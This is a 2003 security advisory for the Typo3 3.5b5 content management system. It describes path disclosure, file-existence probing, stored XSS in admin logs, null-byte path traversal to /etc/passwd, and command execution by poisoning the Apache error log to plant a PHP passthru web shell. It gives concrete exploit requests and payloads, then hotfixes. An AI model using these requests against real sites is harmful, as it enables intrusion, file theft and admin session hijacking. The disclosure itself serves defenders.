===================== Security REPORT TYPO3 =====================
this document: http://www.websec.org/adv/typo3.html
Product: Typo3 (Version 3.5b5 / Earlier versions are possibly vulnerable too)
Vendor: Typo3 (http://www.typo3.com) Vendor-Status: email@example.com informed / new version OUT Vendor-Patch: http://typo3.org/1331.0.html
Local: NO Remote: YES
Vulnerabilities: -path-disclosure -proof of file-existense -arbitrary file retrieval -arbitrary command execution -CrossSiteScripting / privilege escalation / cookie-theft -install/config files and scripts within webroot
Severity: MEDIUM to HIGH
Tested Plattforms: Linux / Slackware i686 / Apache 1.3.23 / PHP 4.1.2
============ Introduction ============
Taken from http://www.typo3.com
TYPO3 is a free Open Source content management system for enterprise purposes on the web and in intranets. It offers full flexibility and extendability while featuring an accomplished set of ready-made interfaces, functions and modules.
===================== Vulnerability Details =====================
0) CLIENT-SIDE DATA-OBFUSCATION
form-fields are obfuscated using client-side java-script routines. after the fields are joined a java-script creates MD5-hashes and submits the form.
examples: index.php (account-data), showpic.php(name-checksum)
attached perl-scripts (typo.pl/showpic.pl) demonstrate how to circumvent this protection.
several test-, class- and library-scripts can be found within webroot. some of them can be forced to produce runtime errors and output their physical path.
2) PROOF OF FILE-EXISTENCE
"showpic.php" and "thumbs.php" allow an attacker to check the existense of arbitrary files.
combined with file-enumeration methods it is possible to reconstruct parts of the directory- and filesystem - structure.
example on howto check for existing files with attached perl-script "showpic.pl": ------ sh> showpic.pl localhost sh> '../../../../../../../../../../etc/hosts' ../../../../../../../../../../etc/hosts exists ------
3) CROSS SITE SCRIPTING / COOKIE-THEFT
all system and login-errors are saved in the typo3-database. administrators can view all the erroneous data.
since this data is not being checked for XSS-content it is possible to include client-side script(java-script)-tags in these entries.
every time the admins view their logs these scripts will be run on the admins web-browser which leads to a typical XSS-bug.
thus making it possible to steal the admins-cookies or let him open a new user-account without his knowledge.
example with the attached "typo.pl" - perlscript:
------ sh> typo.pl localhost sh> '><script>alert(document.cookie)</script><:aaa' ------
viewing the logfiles will execute the script.
4) ARBITRARY FILE-RETRIEVAL
the "dev/translations.php" - script does not check the ONLY-parameter for malicious values.
a relative path combined with a Nullbyte lead to the inclusion of the given file.
example http-request: ------ GET http://host/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00 ------
5) ARBITRARY COMMAND EXECUTION
extends vulnerability number 4):
if the included file contains php-source code it will be executed. thus allowing an attacker to execute operating-system commands and at long sight escalate his privileges.
a file for placing our malicious php-source is needed. if there is no file we have write-access we still can use the websevers-logfiles.
the following http-request: ---cut--- http://localhost/<%3f %60echo %27<%3fpassthru(%5c%24c)%3f>%27 >> ./x.php%60 %3f> ---cut---
creates this entry:
---cut--- [Tue Jan 14 19:42:53 2003] [error] [client 127.0.0.1] File does not exist: /apachepath/apache/htdocs/<? `echo '<?passthru(\$c )?>' >> ./x.php` ?> ---cut---
in a typicall apache - error_log file.
using the method discussed under 4) the following http-request:
---cut--- http://localhost/typo3/typo3/dev/translations.php?ONLY=relative_apache_path/apache/logs/error_log%00' ---cut---
will include the apach error_log in our output and execute our php-commands. as a result we will find x.php in our "/dev" directory.
x.php: ---cut--- <?passthru($c)?> ---cut---
6) SCRIPTS AND DIRECTORIES IN WEBROOT
a couple of scripts, libraries, files and directories can be found within typo3s webroot.
"/install" is improper protected and vulnerable to brute-force attacks. "/fileadmin" directory reveals log-files and demo-scripts "/typo3conf" directory contains the localconf.php,database.sql and other sensitive files
======= Remarks =======
the serious vulnerabilities rely on the "/dev" (developer?) - directory. scripts within this directory can be found in many/most production-environments!
==================== Recommended Hotfixes ==================== overall) install the new Version !
1) remove "/install" directory 2) remove "/dev" directory 3) Choose strong administrator-passwords 4) showpic.php and thumbs.php must be patched. 5) remove all demo-directories and protect "/fileadmin" and "/typo3conf"
EOF Martin Eiszner / @2002WebSec.org
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